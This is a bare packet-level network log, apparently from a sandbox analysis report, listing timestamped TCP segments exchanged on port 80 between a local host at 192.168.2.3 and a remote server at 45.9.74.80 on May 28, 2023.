May 28, 2023 10:42:43.949821949 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.949826956 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.949867964 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.949913025 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.949919939 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.949956894 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.950001955 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.950011969 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.950046062 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.950089931 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.950093031 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.950135946 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.950179100 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.950192928 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.950227022 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.950272083 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.950280905 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.950318098 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.950362921 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.950368881 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.950407028 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.950449944 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.950457096 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.950495005 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.950539112 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.950542927 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.950583935 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.950629950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.950634003 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.950675011 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.950721025 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.950721979 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.950766087 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.950826883 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.950834990 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.950874090 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.950918913 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.950922966 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.950963020 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.951008081 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.951014996 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.951054096 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.951098919 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.951098919 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.951144934 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.951188087 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.951188087 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.951236010 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.951282978 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.951288939 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.951330900 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.951375961 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.951380968 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.951494932 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.951541901 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.951543093 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.951586962 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.951631069 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.951632977 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.951675892 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.951720953 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.951720953 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.951766014 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.951809883 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.951811075 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.951858044 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.951901913 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.951901913 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.951946974 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.951991081 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.951998949 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.952034950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.952079058 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.952080011 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.952124119 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.952168941 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.952168941 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.952214003 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.952260017 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.952266932 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.952356100 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.967478991 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.967546940 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.967581034 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.967627048 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.967673063 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.967720985 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.967757940 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.967812061 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.967856884 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.967859030 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.967909098 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.967955112 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.967956066 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.968380928 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.973130941 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.973186970 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.973254919 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.973320007 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.973387003 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.973390102 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.973453999 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.973504066 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.973521948 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.973589897 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.973639965 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.973656893 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.973716974 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.973761082 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.973774910 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.973841906 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.973887920 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.976370096 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.976845026 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.977005959 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.977117062 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.977159977 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.977205038 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.977221966 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.977360010 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.977406979 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.977416992 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.977453947 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.977504969 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.977585077 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.977756977 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.977844954 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.977854967 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.978080988 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.978132963 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.978250027 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.978293896 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.978342056 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.978353024 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.978389978 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.978437901 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.978444099 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.978483915 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.978533030 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.978568077 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.978611946 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.978656054 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.978668928 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.978699923 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.978743076 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.978753090 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.978786945 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.978831053 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.978836060 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.978913069 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.978955984 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.978970051 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.979001045 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.979044914 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.979062080 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.979125977 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.979167938 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.979212999 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.979212999 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.979259968 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.979293108 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.979341030 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.979384899 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.979389906 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.979428053 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.979461908 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.979506969 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.979552031 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.979557037 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.979597092 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.979640961 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.979643106 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.979686975 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.979729891 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.979736090 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.979810953 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.979855061 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.979857922 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.979898930 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.979943991 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.979983091 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.979989052 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.980067968 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.980113983 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.980127096 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.980159998 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.980206013 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.980252981 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.980324030 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.980328083 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.980377913 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.980422020 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.980429888 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.980467081 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.980510950 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.980528116 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.980555058 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.980601072 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.980644941 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.980654001 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.980690002 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.980711937 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.980736017 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.980781078 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.980783939 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.980825901 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.980869055 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.980907917 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.980911970 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.980957985 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.980968952 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.981000900 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.981045008 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.981089115 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.981121063 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.981133938 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.981177092 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.981179953 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.981224060 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.981261015 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.981268883 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.981312990 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.981345892 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.981359959 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.981405020 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.981442928 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.981456995 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.981497049 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.981532097 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.981539011 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.981578112 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.981614113 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.981616020 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.981654882 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.981688976 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.981692076 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.981730938 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.981762886 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.981769085 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.981808901 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.981858969 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.988373995 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.992520094 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.992568016 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.992609978 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.992655039 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.992701054 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.992743015 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.992744923 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.992779970 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.992789984 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.992832899 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.992835045 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.996370077 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.998531103 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.998616934 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.998661995 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.998706102 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.998748064 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.998783112 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.998791933 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.998837948 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.998842001 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.998882055 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.998925924 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.998931885 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.998970985 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.999013901 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.999021053 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:43.999058962 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:43.999063015 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.001069069 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.001116991 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.001138926 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.001967907 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.002015114 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.002022982 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.002060890 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.002106905 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.002109051 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.002377987 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.002423048 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.002434969 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.002468109 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.002512932 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.002513885 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.003127098 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.003173113 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.003180027 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.003220081 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.003283978 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.003287077 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.003560066 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.003607035 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.003654003 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.003701925 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.003747940 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.004379034 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.004393101 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.004440069 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.004487038 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.004532099 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.004534006 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.005100012 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.006500959 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.006546021 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.006589890 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.006633043 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.006676912 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.006690979 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.006725073 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.006771088 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.006773949 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.006818056 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.006864071 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.006864071 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.006911039 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.006957054 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.006958008 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.007005930 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.007052898 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.007098913 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.007143021 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.007143974 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.007189989 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.007236004 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.007282972 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.007333994 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.007379055 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.007380962 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.007426023 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.007471085 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.007472992 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.007517099 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.007563114 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.007564068 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.007607937 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.007654905 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.007663012 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.007703066 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.007747889 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.007749081 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.007793903 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.007838011 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.007842064 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.007889032 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.007931948 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.007935047 CEST	80	49704	45.9.74.80	192.168.2.3
